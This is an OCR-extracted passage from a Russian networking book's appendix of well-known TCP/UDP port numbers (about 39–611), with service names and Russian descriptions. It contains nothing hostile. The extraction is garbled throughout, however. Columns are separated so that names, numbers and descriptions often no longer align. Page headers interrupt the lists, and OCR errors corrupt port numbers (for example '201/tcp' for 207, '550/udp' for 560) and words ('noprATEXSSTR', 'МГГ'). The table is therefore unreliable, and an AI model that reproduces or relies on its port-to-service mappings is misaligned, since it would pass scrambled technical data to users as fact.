Служба аутентификации MSG
Протокол поддержки дисплея
Протокол поддержки дисплея
Любой приватный сервер печати
Любой приватный сервер печати
Служба времени
Служба времени
Протокол доступа к маршруту
Протокол доступа к маршруту
Приложение В. Справочные таблицы Internet
689
Условное обозначение Номер Описание
rip
rip
graphics
graphics
nameserver
nameserver
nicname
39/tcp
39/udp
41/tcp
41/udp
42/tcp
42/udp
43/tcp
nicname
43/udp
mpm-flags
mpm-flags
mpm
mpm
mpm-snd
mpm-snd
ni-ftp
ni-ftp
auditd
auditd
login
login
re-mail-ck
re-mail-ck
la-maint
la-maint
xns-time
xns-time
domain
domain
xns-ch
xns-ch
isi-gl
isi-gl
xns-auth
44/tcp
44/udp
45/tcp
45/udp
46/tcp
46/udp
47/tcp
47/udp
48/tcp
48/udp
49/tcp
49/udp
50/tcp
50/udp
51/tcp
51/udp
52/tcp
52/udp
53/tcp
53/udp
54/tcp
54/udp
55/tcp
55/udp
56/tcp
Протокол регистрации местоположения ресурсов
Протокол регистрации местоположения ресурсов
Служба Graphics
Служба Graphics
Сервер доменных имен хостов
Сервер доменных имен хостов
Программа обслуживания запросов к сетевому
информационному центру
Программа обслуживания запросов к сетевому
информационному центру
Протокол МРМ (Message Processing Module — Модуль
обработки сообщений) FLAGS
Протокол МРМ FLAGS
Протокол МРМ (порт приема)
Протокол МРМ (порт приема)
Протокол МРМ (порт, применяемый по умолчанию для
отправки)
Протокол МРМ (порт, применяемый по умолчанию для
отправки)
Протокол N1 FTP
Протокол N1 FTP
Демон цифрового аудита
Демон цифрового аудита
Протокол хоста регистрации
Протокол хоста регистрации
Протокол дистанционной проверки почты
Протокол дистанционной проверки почты
Служба сопровождения логических адресов IMP
Служба сопровождения логических адресов IMP
Протокол службы времени XNS
Протокол службы времени XNS
Сервер доменных имен
Сервер доменных имен
Расчетная палата XNS
Расчетная палата XNS
Язык ISI Graphics
Язык ISI Graphics
Служба аутентификации XNS
690
Часть TV. Дополнительные темы
Условное обозначение Номер Описание
xns-auth
xns-mail
xns-mail
ni-mail
ni-mail
acas
acas
covia
covia
tacacs-ds
tacacs-ds
sql*net
sql*net
bootps
bootps
bootpc
bootpc
tftp
tftp
gopher
gopher
netrjs-1
netrjs-1
netrjs-2
netrjs-2
netrjs-3
netrjs-3
netrjs-4
netrjs-4
56/ udp Служба аутентификации XNS
5 V /1 cp Любая приватная служба доступа к терминалу
57/udp Любая приватная служба доступа к терминалу
58/tcp Почта XNS
58/udp Почта XNS
59/tcp Любая приватная файловая служба
59/ udp Любая приватная файловая служба
60/tcp He зарезервирован
60/udp He зарезервирован
61 /tcp Протокол N1 MAIL
61/udp Протокол N1 MAIL
62/tcp Служба АСА
62 /udp Служба АСА
64 /tcp Программа Communications Integrator (CI) компании Covia
64 /udp Программа Communications Integrator (CI) компании Covia
65 /t cp Служба базы данных TACACS
65 /udp Служба базы данных TACACS
66/tcp Протокол SQL*NET компании Oracle
66/ udp Протокол SQL*NET компании Oracle
6V /1 cp Сервер протокола начальной загрузки
67 /udp Сервер протокола начальной загрузки
6 8 / tcp Клиент протокола начальной загрузки
68 /udp Клиент протокола начальной загрузки
6 9 /1 ср Простейший протокол передачи данных
69/ udp Простейший протокол передачи данных
7 0 /1 ср Протокол Gopher
70/ udp Протокол Gopher
71/tcp Служба дистанционного ввода заданий
71 /udp Служба дистанционного ввода заданий
72/tcp Служба дистанционного ввода заданий
7 2 /udp Служба дистанционного ввода заданий
73/tcp Служба дистанционного ввода заданий
73/udp Служба дистанционного ввода заданий
7 4 /1 ср Служба дистанционного ввода заданий
74/udp Служба дистанционного ввода задании
75/tcp Любая приватная служба исходящих коммутируемых
соединений
Приложение В. Справочные таблицы Internet
691
Условное обозначение Номер Описание
75/иф
deos
deos
vettcp
vettcp
finger
finger
www-http
www-http
hosts2-ns
hosts2-ns
xfer
xfer
mit-ml-dev
mit-ml-dev
ctf
ctf
mit-ml-dev
mit-ml-dev
mfcobol
mfcobol
kerberos
kerberos
su-mit-tg
su-mit-tg
dnsix
dnsix
mit-dov
mit-dov
npp
npp
dcp
76/tcp
76/udp
77/tcp
77/udp
78/tcp
78/udp
79/tcp
79/udp
80/tcp
80/udp
81/tcp
81/udp
82/tcp
82/udp
83/tcp
83/udp
84/tcp
84/udp
85/tcp
85/udp
86/tcp
86/udp
87/tcp
87/udp
88/tcp
88/udp
89/tcp
89/udp
90/tcp
90/udp
91/tcp
91/udp
92/tcp
92/udp
93/tcp
Любая приватная служба исходящих коммутируемых
соединений
Хранилище распределенных внешних объектов
Хранилище распределенных внешних объектов
Любая приватная служба дистанционного ввода заданий
Любая приватная служба дистанционного ввода заданий
Протокол vettcp
Протокол vettcp
Протокол Finger
Протокол Finger
Протокол HTTP сети World Wide Web
Протокол HTTP сети World Wide Web
Сервер доменных имен HOSTS2
Сервер доменных имен HOSTS2
Утилита XFER
Утилита XFER
Устройство МГГ ML
Устройство МГГ ML
Общее средство трассировки
Общее средство трассировки
Устройство MIT ML
Устройство MIT ML
Язык Micro Focus Cobol
Язык Micro Focus Cobol
Любая приватная абонентская линия
Любая приватная абонентская линия
Протокол Kerberos
Протокол Kerberos
Шлюз Telnet SU/MIT
Шлюз Telnet SU/MIT
Порт DNSIX Security Attribute Token Map
Порт DNSIX Security Attribute Token Map
Буфер печати МГГ Dover
Буфер печати МГГ Dover
Сетевой протокол печати
Сетевой протокол печати
Протокол управления устройством
692
Часть IV. Дополнительные темы
Условное обозначение
dcp
objcall
ob^call
supdup
supdup
dixie
dixie
swift-rvf
swift-rvf
tacnews
tacnews
metagram
metagram
newacct
hostname
hostname
iso-tsap
iso-tsap
gppitnp
gppitnp
acr-nema
acr-nema
csnet-ns
csnet-ns
3com-tsmux
3com-tsmux
rtelnet
rtelnet
snagas
snagas
pop2
pop2
рорЗ
рорЗ
sunrpc
sunrpc
mcidas
Номер
93/udp
94/tcp
94/udp
95/tcp
95/udp
96/tcp
96/udp
97/tcp
97/udp
98/tcp
98/udp
99/tcp
99/udp
100/tcp
101/tcp
101/udp
102/tcp
102/udp
103/tcp
103/udp
104/tcp
104/udp
105/tcp
105/udp
106/tcp
106/udp
107/tcp
107/udp
108/tcp
108/udp
109/tcp
109/udp
110/tcp
110/udp
111/tcp
111/udp
112/tcp
Описание
Протокол управления устройством
Планировщик объектов Tivoli
Планировщик объектов Tivoli
Порт SUPDUP
Порт SUPDUP
Спецификация протокола DIXIE
Спецификация протокола DIXIE
Дистанционный виртуальный файловый протокол Swift
Дистанционный виртуальный файловый протокол Swift
Протокол ТАС News
Протокол ТАС News
Порт Metagram Relay
Порт Metagram Relay
[несанкционированное использование]
Сервер доменных имен хостов NIC
Сервер доменных имен хостов NIC
Порт ISO-TSAP
Порт ISO-TSAP
Транспортная сеть двухсторонней связи Genesis
Транспортная сеть двухсторонней связи Genesis
Порт ACR-NEMA Digital Imag. & Comm. 300
Порт ACR-NEMA Digital Imag. & Comm. 300
Порт Mailbox Name Nameserver
Порт Mailbox Name Nameserver
Мультиплексор 3COM-TSMUX
Мультиплексор 3COM-TSMUX
Дистанционная служба Telnet
Дистанционная служба Telnet
Процессор межсетевого доступа SNA
Процессор межсетевого доступа SNA
Почтовый протокол версии 2
Почтовый протокол версии 2
Почтовый протокол версии 3
Почтовый протокол версии 3
Протокол удаленного вызова процедур компании SUN
Протокол удаленного вызова процедур компании SUN
Протокол передачи данных McIDAS
Приложение В. Справочные таблицы Internet 693
Условное обозначение Номер Описание
mcidas 112/udp Протокол передачи данных McIDAS
auth 113/tcp Служба аутентификации
auth 113/udp Служба аутентификации
audionews 114/tcp Протокол многоадресной рассылки Audio News
audionews 114/udp Протокол многоадресной рассылки Audio News
sftp 115/tcp Простой протокол передачи файлов
sftp 115/udp Простой протокол передачи файлов
ansanotify 116/tcp Порт ANSA REX Notify
ansanotify 116/udp Порт ANSA REX Notify
uucp-path 117/tcp Порт UUCP Path Service
-uucp-path 117/udp Порт UUCP Path Service
sqlserv 118/tcp СлужбаSQL
sqlserv 118/udp Служба SQL
nntp 119 /t cp Сетевой протокол передачи новостей
nntp 119/udp Сетевой протокол передачи новостей
cfdptkt 120/tcp Порт CFDPTKT
cfdptkt 120/udp nopTCFDPTKT
erpc 121/tcp Протокол удаленного вызова процедур компании Encore
Expedited
erpc 121/udp Протокол удаленного вызова процедур компании Encore
Expedited
smakynet 122/tcp Протокол SMAKYNET
smakynet 122/udp Протокол SMAKYNET
ntP 123/tcp Протокол сетевой службы времени
ntp 123/udp Протокол сетевой службы времени
ansatrader 124/tcp Порт ANSA REX Trader
ansatrader 12 4/udp Порт ANSA REX Trader
locus-map 125/tcp Сервер сетевой службы отображения Locus PC-Interface
locus-map 125/udp Сервер сетевой службы отображения Locus PC-Interface
unitary 126/tcp Протокол регистрации Unitary Unisys
unitary 126/udp Протокол регистрации Unitary Unisys
locus-con 127/tcp Сервер обработки соединений Locus PC-Interface
locus-con 127/udp Сервер обработки соединений Locus PC-Interface
gss-xlicen 128/tcp Служба проверки лицензий GSS X
gss-xlicen 128/udp Служба проверки лицензий GSS X
pwdgen 129/tcp Протокол генератора паролей
pwdgen 129/udp Протокол генератора паролей
694
Часть IV. Дополнительные темы
Условное обозначение Номер Описание
cisco-fna
cisco-fna
cisco-tna
cisco-tna
cisco-sys
cisco-sys
statsrv
statsrv
ingres-net
ingres-net
loc-srv
loc-srv
profile
profile
netbios-ns
netbios-ns
netbios-dgra
netbios-dgm
netbios-ssn
netbios-ssn
emfis-data
emfis-data
emfis-cntl
emfis-cntl
bl-idm
bl-idm
imap2
imap2
130/tcp Порт Cisco FNATIVE
130/udp Порт Cisco FNATIVE
131 /t cp Порт Cisco TNATIVE
131/udp Порт Cisco TNATIVE
132/tcp Порт Cisco SYSMAINT
132/udp Порт Cisco SYSMAINT
133/tcp Служба сбора статистических данных
13 3 / udp Служба сбора статистических данных
134/tcp Служба INGRES-NET
134 /udp Служба INGRES-NET.
13 5 /1 cp Служба регистрации местоположения
135/ udp Служба регистрации местоположения
13 6 /1 ср Система именования PROFILE
136/udp Система именования PROFILE
137/tcp Служба доменных имен NETBIOS
137 /udp Служба доменных имен NETBIOS
138/tcp Дейтаграммная служба NETBIOS
138/udp Дейтаграммная служба NETBIOS
139/tcp Служба сеансов NETBIOS
13 9/udp Служба сеансов NETBIOS
140/tcp Служба данных EMFJS
140/udp Служба данных EMFIS
141/tcp Служба управления EMFIS
141/ udp Служба управления EMFIS
142/tcp Порт Britton-Lee IDM
142 /udp Порт Britton-Lee IDM
14 3 /1 cp Промежуточный протокол доступа к электронной почте
версии 2
143 /udp Промежуточный протокол доступа к электронной почте
версии 2
news
news
uaac
uaac
iso-tpO
iso-tpO
iso-ip
144/tcp
144/udp
145/tcp
145/udp
14 6/tcp
14 6/udp
147/tcp
Протокол NewS
Протокол NewS
Протокол UAAC
Протокол UAAC
Протокол ISO-TPO
Протокол ISO-TPO
Протокол ISO-IP
Приложение В. Справочные таблицы Internet
695
Условное обозначение
iso-ip
cronus
cronus
aed-512
aed-512
sql-net
sql-net
hems
hems
bftp
bftp
sgmp
sgmp
netsc-prod
netsc-prod
netsc-dev
netsc-dev
sqlsrv
sqlsrv
knet-cmp
knet-cmp
pcmail-srv
pcmail-srv
nss-routing
nss-routing
sgmp-traps
sgmp-traps
snmp
snmp
snmptrap
snmptrap
cmip-man
cmip-maii
cmip-agent
cmip-agent
xns-courier
xns-courier
Номер
147/udp
148/tcp
148/udp
14 9/tcp
14 9/udp
150/tcp
150/udp
151/tcp
151/udp
152/tcp
152/udp
153/tcp
153/udp
154/tcp
154/udp
155/tcp
155/udp
156/tcp
156/udp
157/tcp
157/udp
158/tcp
158/udp
159/tcp
159/udp
160/tcp
160/udp
161/tcp
161/udp
162/tcp
162/udp
163/tcp
163/udp
164/tcp
164/udp
165/tcp
165/udp
Описание
Протокол ISO-ЕР
Протокол CRONUS-SUPPORT
Протокол CRONUS-SUPPORT
Служба эмуляции AED 512
Служба эмуляции AED 512
Протокол SQL-NET
Протокол SQL-NET
Протокол HEMS
Протокол HEMS
Протокол передачи файлов в фоновом режиме
Протокол передачи файлов в фоновом режиме
Протокол SGMP
Протокол SGMP
Протокол NETSC
Протокол NETSC
Протокол NETSC
Протокол NETSC
Служба SQL
Служба SQL
Протокол команд/сообщений KNET/VM
Протокол команд/сообщений KNET/VM
Сервер PCMail
Сервер PCMail
Служба маршрутизации NSS
Служба маршрутизации NSS
Протокол SGMP-TRAPS
Протокол SGMP-TRAPS
Протокол SNMP
Протокол SNMP
Протокол SNMPTRAP
Протокол SNMPTRAP
Диспетчер CMIP/TCP
Диспетчер CMIP/TCP
Агент СМЕР/ТСР
Агент CMIP/TCP
Зарезервирован компанией Xerox
Зарезервирован компанией Xerox
696
Часть IV. Дополнительные темы
Условное обозначение Номер Описание
s-net
s-net
namp
namp
rsvd
rsvd
send
send
print-srv
print-srv
multiplex
multiplex
cl/1
cl/1
xyplex-mux
xyplex-mux
mailq
mailq
vmnet
vmnet
genrad-mux
genrad-mux
xdmcp
xdmcp
nextstep
nextstep
bgp
bgp
ris
ris
unify
unify
audit
audit
ocbinder
ocbinder
ocserver
166/tcp
166/udp
167 /tcp
167/udp
168/tcp
168/udp
169/tcp
169/udp
170/tcp
170/udp
171/tcp
171/udp
172/tcp
172/udp
173/tcp
173/udp
174/tcp
174/udp
175/tcp
175/udp
176/tcp
176/udp
177/tcp
177/udp
178/tcp
178/udp
179/tcp
179/udp
180/tcp
180/udp
181/tcp
181/udp
182/tcp
182/udp
183/tcp
183/udp
184/tcp
Зарезервирован компанией Sirius Systems
Зарезервирован компанией Sirius Systems
Протокол NAMP
Протокол NAMP
Демон RSVD
Демон RSVD
Демон SEND
Демон SEND
Сетевая служба PostScript
Сетевая служба PostScript
Служба Multiplex компании Network Innovations
Служба Multiplex компании Network Innovations
Служба CL/1 компании Network Innovations
Служба CL/1 компании Network Innovations
Порт Xyplex
Порт Xyplex
Порт MAILQ
Порт MAILQ
Порт VMNET
Порт VMNET
Порт GENRAD-MUX
Порт GENRAD-MUX
Протокол управления диспетчером дисплея X
Протокол управления диспетчером дисплея X
Сервер управления окнами NextStep
Сервер управления окнами NextStep
Протокол Border Gateway
Протокол Border Gateway
Система Intergraph
Система Intergraph
Система Unify
Система Unify
Протокол Unisys Audit SITP
Протокол Unisys Audit SITP
Система OCBinder
Система OCBinder
Система OCServer
Приложение В. Справочные таблицы Internet
697
Условное обозначение Номер Описание
ocserver
remote-kis
remote-kis
kis
kis
aci
aci
mumps
mumps
qft
qft
gacp
gacp
prospero
prospero
osu-nms
osu-nms
srmp
srmp
ire
ire
dn6-nlm-aud
dn6-nlm-aud
dn6-smm-red
dn6-smm-red
dls
dls
dls-mon
dls-mon
smux
smux
sre
sre
at-rtmp
at-rtmp
184/udp
185/tcp
185/udp
186/tcp
186/udp
187/tcp
187/udp
188/tcp
188/udp
189/tcp
189/udp
190/tcp
190/udp
191/tcp
191/udp
192/tcp
192/udp
193/tcp
193/udp
194/tcp
194/udp
195/tcp
195/udp
196/tcp
196/udp
197/tcp
197/udp
198/tcp
198/udp
199/tcp
199/udp
200/tcp
200/udp
201/tcp
201/udp
Система OCServer
Протокол Remote-KIS
Протокол Remote-KIS
Протокол KIS
Протокол KIS
Служба Application Communication Interface
Служба Application Communication Interface
Система MUMPS компании Plus Five
Система MUMPS компании Plus Five
Транспортный протокол передачи файлов
с организацией очередей
Протокол передачи файлов с организацией очередей
Протокол управления доступом к шлюзу
Протокол управления доступом к шлюзу
Служба каталогов Prospero
Служба каталогов Prospero
Система текущего контроля за работой ceTH,OSU
Система текущего контроля за работой сети OSU
Протокол дистанционного контроля Spider
Протокол дистанционного контроля Spider
Протокол IRC (Internet Relay Chat)
Протокол IRC (Internet Relay Chat)
Система DNSIX Network Level Module Audit
Система DNSIX Network Level Module Audit
Система DNSIX Session Mgt Module Audit Redir
Система DNSIX Session Mgl Module Audit Redir
Служба регистрации местоположения каталогов
Служба регистрации местоположения каталогов
Монитор службы регистрации местоположения каталогов
Монитор службы регистрации местоположения каталогов
Порт SMUX
Порт SMUX
Контроллер ресурсов системы IBM
Контроллер ресурсов системы IBM
Протокол сопровождения информации маршрутизации
AppleTalk
Протокол сопровождения информации маршрутизации
AppleTalk
698
Часть IV. Дополнительные темы
Условное обозначение
at-nbp
at-nbp
at-3
at-3
at-echo
at-echo
at-5
at-5
at-zis
at-zis
at-7
at-7
at-8
at-8
tam
tam
Z39.50
z39.50
914c/g
914c/g
anet
anet
ipx
ipx
vmpwscs
vmpwscs
softpc
softpc
atls
at Is
dbase
dbase
mpp
mpp
uarps
uarps
imap3
Номер
202/tcp
202/udp
203/tcp
203/udp
204/tcp
204/udp
205/tcp
205/udp
206/tcp
206/udp
201/tcp
207/udp
208/tcp
208/udp
209/tcp
209/udp
210/tcp
210/udp
211/tcp
211/udp
212/tcp
212/udp
213/tcp
213/udp
214/tcp
214/udp
215/tcp
215/udp
216/tcp
216/udp
217/tcp
217/udp
218/tcp
218/udp
219/tcp
219/udp
220/tcp
Описание
Протокол привязки имен AppleTalk
Протокол привязки имен AppleTalk
Неиспользуемый протокол AppleTalk
Неиспользуемый протокол AppleTalk
Служба эхо-повтора AppleTalk
Служба эхо-повтора AppleTalk
Неиспользуемый протокол AppleTalk
Неиспользуемый протокол AppleTalk
Служба зональной информации AppleTalk
Служба зональной информации AppleTalk
Неиспользуемый протокол AppleTalk
Неиспользуемый протокол AppleTalk
Неиспользуемый протокол AppleTalk
Неиспользуемый протокол AppleTalk
Тривиальный протокол аутентифицированной почты
Тривиальный протокол аутентифицированной почты
Протокол ANSI Z39.50
Протокол ANSI Z39.50
Терминал Texas Instruments 914C/G
Терминал Texas Instruments 914C/G
noprATEXSSTR
nopTATEXSSTR
Протокол IPX
Протокол IPX
Порт VMPWSCS
nopTVMPYVSCS
Зарезервирован компанией Insignia Solutions
Зарезервирован компанией Insignia Solutions
Сервер лицензий компании Access Technology
Сервер лицензий компании Access Technology
Служба dBASE UNIX
Служба dBASE UNIX
Протокол рассылки сообщений компании Netix
Протокол рассылки сообщений компании Netix
Протокол ARPs Unisys
Протокол ARPs Unisys
Протокол интерактивного доступа к электронной почте
версии 3
Приложение В, Справочные таблицы Internet 699
Условное обозначение Номер Описание
imap3
220/udp
fln-spx
fln-spx
rsh-spx
rsh-spx
cdc
cdc
sur-meas
sur-meas
link
link
dsp3270
dsp3270
pdap
pdap
pawserv
pawserv
zserv
zserv
fatserv
fatserv
csi-sgwp
csi-sgwp
clearcase
clearcase
ulistserv
ulistserv
legent-1
legent-1
legent-2
legent-2
hassle
hassle
nip
nip
tnETOS
221/tcp
221/udp
222/tcp
222/udp
223/tcp
223/udp
243/tcp
243/udp
245/tcp
245/udp
246/tcp
246/udp
344/tcp
344/udp
345/tcp
345/udp
346/tcp
346/udp
347/tcp
347/udp
348/tcp
348/udp
371/tcp
371/udp
372/tcp
372/udp
373/tcp
373/udp
374/tcp
374/udp
375/tcp
375/udp
376/tcp
376/udp
377/tcp
Протокол интерактивного доступа к электронной почте
версии 3
Демон rlogind Berkeley с аутентификацией SPX
Демон rlogind Berkeley с аутентификацией SPX
Демон rshd Berkeley с аутентификацией SPX
Демон rshd Berkeley с аутентификацией SPX
Центр распределения сертификатов
Центр распределения сертификатов
Система Survey Measurement
Система Survey Measurement
Система LINK
Система LINK
Протокол Display Systems Protocol
Протокол Display Systems Protocol
Протокол доступа к данным Prospero
Протокол доступа к данным Prospero
Сервер Perf Analysis Workbench
Сервер Perf Analysis Workbench
Сервер Zebra
Сервер Zebra
Сервер Fatmen
Сервер Fatmen
Протокол управления Cabletron
Протокол управления Cabletron
Система Clearcase
Система Clearcase
Система UNIX Listserv
Система UNIX Listserv
Зарезервирован компанией Legent Corporation
Зарезервирован компанией Legent Corporation
Зарезервирован компанией Legent Corporation
Зарезервирован компанией Legent Corporation
Система Hassle
Система Hassle
Сетевой протокол обработки запросов Amiga Envoy
Сетевой протокол обработки запросов Amiga Envoy
Зарезервирован корпорацией NEC
700
Часть TV. Дополнительные темы
Условное обозначение Номер Описание
tnETOS
dsETOS
dsETOS
is99c
is99c
is99s
is99s
hp-collector
hp-collector
hp-managed-node
hp-managed-node
hp-alarm-mgr
hp-alarm-mgr
arns
arns
ibm-app
ibm-app
asa
asa
aurp
aurp
unidata-ldm
unidata-ldm
ldap
ldap
uis
uis
synotics-relay
synotics-relay
synotics-broker
synotics-broker
dis
dis
embl-ndt
embl-ndt
377/ udp Зарезервирован корпорацией NEC
378/tcp Зарезервирован корпорацией NEC
378/ udp Зарезервирован корпорацией NEC
3 7 9 /1 cp Клиент службы связи по модему TIA/EIA/IS-99
37 9/udp Клиент службы связи по модему TIA/EIA/IS-99
3 8 0 /1 ср Сервер службы связи по модему TIA/EIA/IS-99
380/udp Сервер службы связи по модему TIA/EIA/IS-99
381/tcp Порт hp performance data collector
381/udp Порт hp performance data collector
3 8 2 /1 cp Порт hp performance data managed node
382/ udp Порт hp performance data managed node
383/tcp Порт hp performance data alarm manager
383/udp Порт hp performance data alarm manager
3 8 4 /1 cp Система ARNS (A Remote Network Server)
384/udp CncTeMaARNS (A Remote Network Server)
3 8 5 /1 cp Приложение IBM
385/udp Приложение IBM
386/tcp Порт ASA Message Router Object Def.
38 6/udp Порт ASA Message Router Object Def.
3 8 7 /1 cp Протокол маршрутизации на основе обновления данных
Appletalk
387 /udp Протокол маршрутизации на основе обновления данных
Appletalk
388/tcp Модем для ближней связи Unidata версии 4
388/ udp Модем для ближней связи Unidata версии 4
3 8 9 /1 ср Облегченный протокол службы каталогов
389/udp Облегченный протокол службы каталогов
390/tcp Порт UIS
390/udp nopTUIS
3 91 /1 cp Порт ретранслятора SNMP компании SynOptics
391/udp Порт ретранслятора SNMP компании SynOptics
3 92 /1 cp Порт брокера портов компании SynOptics
392/ udp Порт брокера портов компании SynOptics
3 93 /tcp Система интерпретации данных
393/ udp Система интерпретации данных
3 94 /tcp Порт EMBL Nucleic Data Transfer
394 /udp Порт EMBL Nucleic Data Transfer
Приложение В. Справочные таблицы Internet
701
Условное обознвчение Номер Описание
netcp
netcp
netware-ip
netware-ip
mptn
mptn
kryptolan
kryptolan
work-sol
work-sol
ups
ups
genie
genie
decap
decap
need
need
ncld
ncld
imsp
imsp
timbuktu
timbuktu
prra-sm
prra-sm
prra-nm
prra-nm
decladebug
decladebug
rmt
rmt
synoptics-trap
synoptics-trap
smsp
smsp
infoseek
395/tcp
395/udp
396/tcp
396/udp
397/tcp
397/udp
398/tcp
398/udp
400/tcp
400/udp
401/tcp
401/udp
4 02/tcp
402/udp
403/tcp
403/udp
404/tcp
404/udp
405/tcp
405/udp
406/tcp
406/udp
407/tcp
4 07/udp
408/tcp
408/udp
409/tcp
409/udp
410/tcp
410/udp
411/tcp
411/udp
412/tcp
412/udp
413/tcp
413/udp
414/tcp
Протокол управления NETscout
Протокол управления NETscout
Порт Novell Netware для работы по протоколу IP
Порт Novell Netware для работы по протоколу IP
Мультипротокольная транспортная сеть
Мулртипротокольная транспортная сеть
Система Kryptolan
Система Kryptolan
Система Workstation Solutions
Система Workstation Solutions
Источник бесперебойного питания
Источник бесперебойного питания
Протокол Genie
Протокол Genie
Порт decap
Порт decap
Порт need
Порт need
Порт ncld
Порт ncld
Интерактивный протокол почтовой связи
Интерактивный протокол почтовой связи
Порт Timbuktu
Порт Timbuktu
Администратор системы Prospero Resource Manager
Администратор системы Prospero Resource Manager
Администратор узла Prospero Resource Manager
Администратор узла Prospero Resource Manager
Протокол дистанционной отладки DECLadebug
Протокол дистанционной отладки DECLadebug
Протокол Remote MT
Протокол Remote MT
Порт Trap Convention
Порт Trap Convention
Порт SMSP
Порт SMSP
Система InfoSeek
702
Часть IV. Дополнительные темы
Условное обозначение
infoseek
bnet
bnet
silverplatter
silverplatter
onmux
onmux
hyper-g
hyper-g
ariell
ariell
smpte
snipte
ariel2
ariel2
ariel3
ariel3
ope-job-start
ope-j ob-start
ope-job-track
ope-job-track
icad-el
icad-el
smartsdp
smartsdp
svrloc
svrloc
ocs_cmu
ocs_cmu
ocs amu
ocs_amu
utnipsd
utmpsd
utmped
utmped
iasd
iasd
Номер
414/udp
415/tcp
415/udp
416/tcp
416/udp
417/tcp
417/udp
418/tcp
418/udp
419/tcp
419/udp
420/tcp
420/udp
421/tcp
421/udp
422/tcp
422/udp
423/tcp
423/udp
424/tcp
424/udp
425/tcp
425/udp
426/tcp
426/udp
427/tcp
427/udp
428/tcp
428/udp
429/tcp
429/udp
430/tcp
430/udp
431/tcp
431/udp
432/tcp
432/udp
Описание
Система InfoSeek
Система Bnet
Система Bnet
Система Silverplatter
Система Silverplatter
Система Onmux
Система Onmux
Система Hyper-G
Система Hyper-G
Система Ariel
Система Ariel
Система SMPTE
Система SMPTE
Система Ariel
Система Ariel
Система Ariel
Система Ariel
Порт IBM Operations Planning and Control Start
Порт IBM Operations Planning and Control Start
Порт IBM Operations Planning and Control Track
Порт IBM Operations Planning and Control Track
noprlCAD
noprlCAD
Порт smartsdp
Порт smartsdp
Порт Server Location
Порт Server Location
noprOCS.CMU
noprOCS_CMU
noprOCS_AMU
nopTOCS_AMU
Порт UTMPSD
Порт UTMPSD
Порт UTMPCD
Порт UTMPCD
ПортIASD
ПортIASD
Приложение В. Справочные таблицы Internet
Условное обозначение
nnsp
nnsp
mobileip-agent
mobileip-agent
mobilip-mn
mobilip-mn
dna-cml
dna-cml
cornscm
cornscm
dsfgw
dsfgw
dasp
dasp
sgcp
sgcp
decvms-sysmgt
decvms-sysmgt
cvc hostd
cvc hostd
https
https
snpp
snpp
microsoft-ds
microsoft-ds
ddm-rdb
ddm-rdb
ddm-dfm
ddm-dfm
ddm-byte
ddm-byte
as-servermap
as-servermap
tserver
tserver
exec
Номер
433/tcp
433/udp
434/tcp
434/udp
435/tcp
435/udp
436/tcp
436/udp
437/tcp
437/udp
438/tcp
438/udp
439/tcp
439/udp
440/tcp
440/udp
441/tcp
441/udp
442/tcp
442/udp
443/tcp
443/udp
444/tcp
444/udp
445/tcp
445/udp
446/tcp
446/udp
447/tcp
447/udp
448/tcp
448/udp
449/tcp
449/udp
450/tcp
450/udp
512/tcp
Описание
Порт NNSP
Порт NNSP
Порт MobilelP-Agent
Порт MobilelP-Agent
Порт MobillP-MN
Порт MobillP-MN
Порт DNA-CML
Порт DNA-CML
Порт comscm
Порт comscm
Порт dsfgw
Порт dsfgw
Порт dasp
Порт dasp
Порт sgcp
Порт sgcp
Порт decvms-sysmgl
Порт decvms-sysmgl
Демон cvc_hostd
Демон cvc_hostd
Протокол https MCom
Протокол https MCom
Простой сетевой протокол пейджинговой связи
Простой сетевой протокол пейджинговой связи
Порт Microsoft-DS
Порт Microsoft-DS
Порт DDM-RDB
Порт DDM-RDB
Порт DDM-RFM
Порт DDM-RFM
Порт DDM-BYTE
Порт DDM-BYTE
Служба отображения серверов AS
Служба отображения серверов AS
Служба TServer
Служба TServer
Служба дистанционного выполнения процессов
704 Часть IV. Дополнительные темы
Условное обозначение Номер Описание
biff
512/udp
login
who
cmd
syslog
printer
printer
talk
talk
ntalk
ntalk
utime
utime
efs
router
timed
timed
tempo
tempo
courier
courier
conference
conference
netnews
netnews
netwall
netwall
apertus-ldp
apertus-ldp
uucp
uucp
uucp-rlogin
uucp-rlogin
klogin
513/tcp
513/udp
514/tcp
514/udp
515/tcp
515/udp
517/tcp
517/udp
518/tcp
518/udp
519/tcp
519/udp
520/tcp
520/udp
525/tcp
525/udp
526/tcp
526/udp
530/tcp
530/udp
531/tcp
531/udp
532/tcp
532/udp
533/tcp
533/udp
539/tcp
539/udp
540/tcp
540/udp
5-41/tcp
541/udp
543/tcp
Порт используется почтовой системой для передачи
пользователям извещений о поступлении почты
Протокол дистанционной регистрации типа Telnet
База данных who
Служба, подобная exec, но автоматизированная
Буфер печати для принтера
Буфер печати для принтера
Протокол talk
Протокол talk
Новая версия протокола talk
Новая версия протокола talk
Протокол UNIXtime
Протокол UNIXtime
Сервер расширенной службы имен файлов
Локальный процесс маршрутизации (действующий
в пределах хоста)
Порт Timeserver
Порт Timeserver
Порт Newdate
Порт Newdate
Служба дистанционного вызова процедур
Служба дистанционного вызова процедур
Система интерактивной переписки
Система интерактивной переписки
Система чтения новостей
Система чтения новостей
Порт для срочных широковещательных сообщений
Порт для срочных широковещательных сообщений
Система определения характеристик нагрузки Apertus
Technologies
Система определения характеристик нагрузки Apertus
Technologies
Демон UUCPD
Демон UUCPD
Демон UUCP-rlogin
Демон UUCP-rlogin
Приложение В. Справочные таблицы Internet
705
Условное обозначение Номер
Описание
klogin
kshell
kshell
new-rwho
new-rwho
dsf
dsf
remotefs
remotefs
rraonitor
rmonitor
monitor
monitor
chshell
chshell
9pfs
9pfs
whoami
whoami
meter
meter
meter
meter
ipcserver
ipcserver
nqs
nqs
urm
urra ■
sift-uft
sift-uft
npmp-trap
npmp-trap
npmp-local
npmp- local'
npmp-gui
npmp-gui
543/udp
544/tcp
544/udp
550/tcp
550/udp
555/tcp
555/udp
556/tcp
556/udp
560/tcp
550/udp
561/tcp
561/udp
562/tcp
562/udp
564/tcp
564/udp
565/tcp
565/udp
570/tcp
570/udp
571/tcp
571/udp
600/tcp
600/udp
607/tcp
607/udp
60 6/tcp
606/udp
608/tcp
608/udp
6G9/tcp
609/udp
610/tcp
610/udp
611/tcp
611/udp
noprKRCMD
nopTKRCMD
Новая версия службы who
Новая версия службы who
jr-
Сервер rfs
Сервер rfs
Демон rmonitord
Демон rmonitord
Порт chcmd
Порт chcmd
Файловая служба Plan 9
Файловая служба Plan 9
Порт whoami
Порт whoami
Порт demon
Порт demon
Порт udemon
Порт udemon
Сервер Sun IPC
Сервер Sun IPC
Порт nqs
Порт nqs
